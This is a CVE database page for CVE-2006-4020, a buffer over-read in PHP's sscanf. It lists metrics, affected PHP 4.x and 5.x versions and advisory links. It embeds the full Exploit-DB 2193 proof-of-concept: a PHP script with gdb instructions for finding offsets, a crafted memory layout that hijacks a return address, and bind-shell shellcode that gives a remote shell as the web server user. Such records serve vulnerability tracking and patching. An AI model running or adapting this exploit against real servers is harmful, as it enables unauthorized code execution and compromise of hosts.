CVE-2006-4020 : Detail

CVE-2006-4020

0.18%V3
Local
2006-08-08
18h00 +00:00
2017-10-09
22h57 +00:00
CVE.org
NVD
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CVE Descriptions

scanf.c in PHP 5.1.4 and earlier, and 4.4.3 and earlier, allows context-dependent attackers to execute arbitrary code via a sscanf PHP function call that performs argument swapping, which increments an index past the end of an array and triggers a buffer over-read.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 2193

Publication date : 2006-08-15 22h00 +00:00
Author : Andi
EDB Verified : Yes

<? /*********************************************************** * hoagie_php_sscanf.php * PHP <= 4.4.3 / 5.1.4 local buffer overflow exploit * * howto get offsets: * (set $base_addr to 0x41414141) * # ulimit -c 20000 * # /etc/init.d/apache restart * (execute script via web browser) * # tail /var/log/apache/error.log * ... * [Wed Aug 16 15:07:10 2006] [notice] child pid 28222 exit signal Segmentation fault (11), possible coredump in /tmp * ... * $ gdb /usr/sbin/apache /tmp/core * ... * ... * #0 0x40422b2d in php_sscanf_internal () from /usr/lib/apache/1.3/libphp4.so * (gdb) x/250 $edx * ... * 0x83ae16c: 0x41414141 0x41414141 0x41414141 0x41414141 * 0x83ae17c: 0xdeadbabe 0x41414145 0x4141415d 0x00000001 * ^^^^^^^^^^ * start of our buffer (0x83ae180) = $base_addr * 0x83ae18c: 0x00000008 0x4141415d 0x0833d248 0x00000400 * 0x83ae19c: 0x909006eb 0x90909090 0xe3f7db31 0x435366b0 * ^^^^^^^^^^ * start of shell code (0x83ae1a4) * 0x83ae1ac: 0x89534353 0x80cd4be1 0x6652c789 0x43204e68 * 0x83ae1bc: 0xe1895366 0xd0f6efb0 0x89575150 0xcd66b0e1 * 0x83ae1cc: 0x4366b080 0x5080cd43 0xe1895750 0xcd66b043 * 0x83ae1dc: 0x89d98980 0x2c6fb0c3 0x80cd4930 0x51f6e241 * 0x83ae1ec: 0x732f6e68 0x2f2f6868 0xe3896962 0xe1895351 * 0x83ae1fc: 0xd0f6f4b0 0x414180cd 0x41414141 0x41414141 * 0x83ae20c: 0x41414141 0x41414141 0x41414141 0x41414141 * ... * (gdb) quit * # * (change $base_addr in exploit and now call url again) * # gdb /usr/sbin/apache /tmp/core * #0 0x40475e73 in _efree () * from /usr/lib/apache/1.3/libphp4.so * (gdb) x/4w $ebp * 0xbfffb018: 0xbfffb038 0x40484241 0x0812a2f4 0xbfffb038 * ^^^^^^^^^^ * return address (return address location = 0xbfffb01c) * (change $rec_log in exploit and call url again) * $ telnet 127.0.0.1 20000 * Trying 127.0.0.1... * Connected to localhost. * Escape character is '^]'. * id; * uid=33(www-data) gid=33(www-data) groups=33(www-data) * exit; * Connection closed by foreign host. * $ * * NOTE: Because of PHP memory allocation this exploit depends on filename, pathname * content etc... (because each line/byte will change emalloc() behavior * * Credits: Heintz (discovered this bug) * BigHawk (bind shell code) * Greuff (void.at) * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF- * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY * DAMAGE DONE USING THIS PROGRAM. * * VOID.AT Security * [email protected] * http://www.void.at * ************************************************************/ /* base_addr for buffer in memory */ $base_addr = 0x812a260; $base_addr_fill = 0x16; /* byte 0 = fill up, byte 1 = refcount, byte 2 = is_ref, byte 3 = type */ $zval_attr = 0x00000008; /* will be overwritten to execute our shellcode */ $ret_loc = 0xbfffb01c; /* just for searching */ $pattern = 0xdeadbabe; function long2str($addr) { return pack("V", $addr); } $data = /* fill up memory */ str_repeat(long2str($base_addr), $base_addr_fill) . /* pattern */ long2str($pattern) . /* current = base_addr */ long2str($base_addr + 0x4) . /* *current = _zval_struct */ /* _zval_struct */ /* _zvalue_value */ /* _zvalue_value.str.val */ long2str($base_addr + 0x10 + 0xc) . /* _zvalue_value_str.len */ long2str(0x00000001) . /* _zval_struct.type, _zval_struct.is_ref, _zval_struct.refcount */ long2str($zval_attr) . /* _zend_mem_header */ /* _zend_mem_header.pNext = start of shellcode */ long2str($base_addr + 28) . /* _zend_mem_header.pLast */ long2str($ret_loc) . /* zend_mem_header.size, zend_mem_header.cached */ long2str(0x000000400) . /* jump over next six bytes */ "\xeb\x06\x90\x90" . /* this bytes will be overwritten by efree() */ "\x90\x90\x90\x90" . /* shell code starts here - * BigHawk bind() version - just a little update to get rid * of 0x3f */ "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd" . "\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef" . "\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43" . "\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89" . "\xc3\xb0\x6f\x2c\x30\x49\xcd\x80\x41\xe2\xf6\x51\x68\x6e\x2f" . "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4" . "\xf6\xd0\xcd\x80" . /* fill up memory */ str_repeat(long2str($base_addr), $base_addr_fill); /* fill up memory with emalloc() for sscanf() */ quotemeta($data); /* trigger exploit */ sscanf($data, '%1$s', $str); ?> # milw0rm.com [2006-08-16]

Products Mentioned

Configuraton 0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0.0

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.2

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.4

Php>>Php >> Version 4.0.4

    Php>>Php >> Version 4.0.5

    Php>>Php >> Version 4.0.6

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.1.0

    Php>>Php >> Version 4.1.1

    Php>>Php >> Version 4.1.2

    Php>>Php >> Version 4.2

      Php>>Php >> Version 4.2.0

      Php>>Php >> Version 4.2.1

      Php>>Php >> Version 4.2.2

      Php>>Php >> Version 4.2.3

      Php>>Php >> Version 4.3.0

      Php>>Php >> Version 4.3.1

      Php>>Php >> Version 4.3.2

      Php>>Php >> Version 4.3.3

      Php>>Php >> Version 4.3.4

      Php>>Php >> Version 4.3.5

      Php>>Php >> Version 4.3.6

      Php>>Php >> Version 4.3.7

      Php>>Php >> Version 4.3.8

      Php>>Php >> Version 4.3.9

      Php>>Php >> Version 4.3.10

      Php>>Php >> Version 4.3.11

      Php>>Php >> Version 4.4.0

      Php>>Php >> Version 4.4.1

      Php>>Php >> Version 4.4.2

      Php>>Php >> Version 4.4.3

      Php>>Php >> Version 5.0

        Php>>Php >> Version 5.0

          Php>>Php >> Version 5.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.1

            Php>>Php >> Version 5.0.2

            Php>>Php >> Version 5.0.3

            Php>>Php >> Version 5.0.4

            Php>>Php >> Version 5.0.5

            Php>>Php >> Version 5.1.0

            Php>>Php >> Version 5.1.1

            Php>>Php >> Version 5.1.2

            Php>>Php >> Version 5.1.4

            References

            http://securitytracker.com/id?1016984
            Tags : vdb-entry, x_refsource_SECTRACK
            http://www.php.net/release_5_1_5.php
            Tags : x_refsource_CONFIRM
            http://www.securityfocus.com/bid/19415
            Tags : vdb-entry, x_refsource_BID
            http://secunia.com/advisories/21768
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/21403
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.redhat.com/support/errata/RHSA-2006-0669.html
            Tags : vendor-advisory, x_refsource_REDHAT
            http://www.mandriva.com/security/advisories?name=MDKSA-2006:144
            Tags : vendor-advisory, x_refsource_MANDRIVA
            http://secunia.com/advisories/21847
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/22487
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.ubuntu.com/usn/usn-342-1
            Tags : vendor-advisory, x_refsource_UBUNTU
            http://secunia.com/advisories/22039
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://rhn.redhat.com/errata/RHSA-2006-0688.html
            Tags : vendor-advisory, x_refsource_REDHAT
            http://bugs.php.net/bug.php?id=38322
            Tags : x_refsource_CONFIRM
            http://secunia.com/advisories/21683
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/23247
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/21467
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/22004
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/22538
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.redhat.com/support/errata/RHSA-2006-0682.html
            Tags : vendor-advisory, x_refsource_REDHAT
            http://secunia.com/advisories/21546
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/21608
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/22440
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/22069
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.securityfocus.com/archive/1/442438/30/0/threaded
            Tags : mailing-list, x_refsource_BUGTRAQ
            http://www.vupen.com/english/advisories/2006/3193
            Tags : vdb-entry, x_refsource_VUPEN
            http://security.gentoo.org/glsa/glsa-200608-28.xml
            Tags : vendor-advisory, x_refsource_GENTOO
            http://securityreason.com/securityalert/1341
            Tags : third-party-advisory, x_refsource_SREASON
            http://rhn.redhat.com/errata/RHSA-2006-0736.html
            Tags : vendor-advisory, x_refsource_REDHAT